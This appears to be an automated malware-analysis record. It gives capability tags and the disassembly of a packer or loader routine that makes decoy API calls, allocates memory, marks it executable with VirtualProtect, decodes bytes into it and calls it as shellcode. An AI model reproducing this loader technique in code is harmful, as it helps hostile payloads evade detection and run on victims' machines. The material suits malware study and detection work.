Function at 0x4013a1
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Query environment variable

Disassembly:
mov eax, 0x410938
call fcn.0041090c
mov eax, 0x2984
call fcn.00408bf0
mov ecx, dword [0xb06f4c]
push esi
push edi
xor edi, edi
cmp ecx, 0x93
jne 0x401500
push 0x30
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x70], edi
push edi
push eax
call fcn.0040c3d0
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x70]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push edi
push edi
push str.gigasiwejezazehoyanewetoxit_yaboyu
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push edi
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_DrawAnimatedRects]
xor eax, eax
lock bts dword [eax], 0
push edi
lea eax, [ebp - 0x58c]
push eax
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push edi
lea eax, [ebp - 0x118c]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
push edi
lea eax, [ebp - 0x98c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 1
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], str.bad_allocation
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402749
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], vtable.std::bad_alloc.0
call fcn.00402787
push edi
push edi
call fcn.004033b1
push edi
push edi
call fcn.00403867
push edi
call fcn.0040382b
movss xmm0, dword [0x4181dc]
add esp, 0x14
cvtps2pd xmm0, xmm0
push edi
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.00402fcd
add esp, 0xc
fstp st(0)
push edi
call fcn.0040382b
pop ecx
push edi
push edi
mov dword [ebp - 0x24], edi
call fcn.00401ea4
mov edi, eax
mov dword [ebp - 0x28], edi
and dword [ebp - 4], 0
lea eax, [ebp - 0x14]
and dword [ebp - 0x14], 0
push eax
push dword [edi + 4]
push edi
call fcn.00401f02
mov dword [edi + 4], eax
mov ecx, dword [eax + 4]
or dword [ebp - 4], 0xffffffff
mov dword [ecx], eax
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x4014f1
mov esi, dword [eax]
push eax
call fcn.00403862
mov eax, esi
pop ecx
cmp esi, edi
jne 0x4014e2
push edi
call fcn.00403862
pop ecx
mov ecx, dword [0xb06f4c]
xor edi, edi
mov eax, dword [0x41efa8]
add ecx, 0x1134b
push ecx
push edi
mov dword [0xb07050], eax
mov dword [0xb06f4c], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x38]
mov dword [0xb06ea4], eax
push ecx
push 0x40
push dword [0xb06f4c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x29156e
push edi
lea eax, [ebp - 0x118c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec esi
jne 0x40153b
mov ecx, dword [0xb06f4c]
mov esi, edi
test ecx, ecx
je 0x4015d0
mov eax, dword [0xb07050]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0xb06ea4]
mov byte [eax + esi], cl
mov ecx, dword [0xb06f4c]
cmp ecx, 0x490
jne 0x4015cb
lea eax, [ebp - 0x18c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x18]
push eax
push edi
lea eax, [ebp - 0x34]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
lea eax, [ebp - 0x98c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
push edi
lea eax, [ebp - 0x58c]
push eax
push str.lifuxanujolexaruge
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0xb06f4c]
inc esi
cmp esi, ecx
jb 0x401558
mov esi, edi
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x401673
push str.fuvuxut
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push edi
lea eax, [ebp - 0x20]
push eax
push edi
lea eax, [ebp - 0x98c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_GetClassInfoW]
push edi
call dword [sym.imp.USER32.dll_CharLowerA]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push edi
lea eax, [ebp - 0x118c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
lea eax, [ebp - 0x218c]
push eax
push str.tuhureyevikawahi_ninego_vopozepirusucomogagotu
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push edi
lea eax, [ebp - 0x198c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
push edi
lea eax, [ebp - 0x58c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 0x298c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [0xb06f4c]
inc esi
cmp esi, 0x38681
jl 0x4015d2
mov edi, dword [0xb06ea4]
mov esi, ecx
shr esi, 3
test esi, esi
je 0x4016c1
cmp ecx, 0x959
jne 0x4016ac
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, edi
call fcn.00401237
add edi, 8
dec esi
je 0x4016c1
mov ecx, dword [0xb06f4c]
jmp 0x40168f
xor edi, edi
mov esi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x4016e3
mov dword [ebp - 0x14], edi
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0xb06ea4], eax
inc esi
cmp esi, 0x674db
jl 0x4016c5
mov eax, edi
cmp dword [0xb06f4c], 0x86
je 0x401721
inc eax
cmp eax, 0x7b
jl 0x4016ee
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0xb06ea4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push edi
lea eax, [ebp - 0x3c]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push edi
call dword [sym.imp.KERNEL32.dll_ExitThread]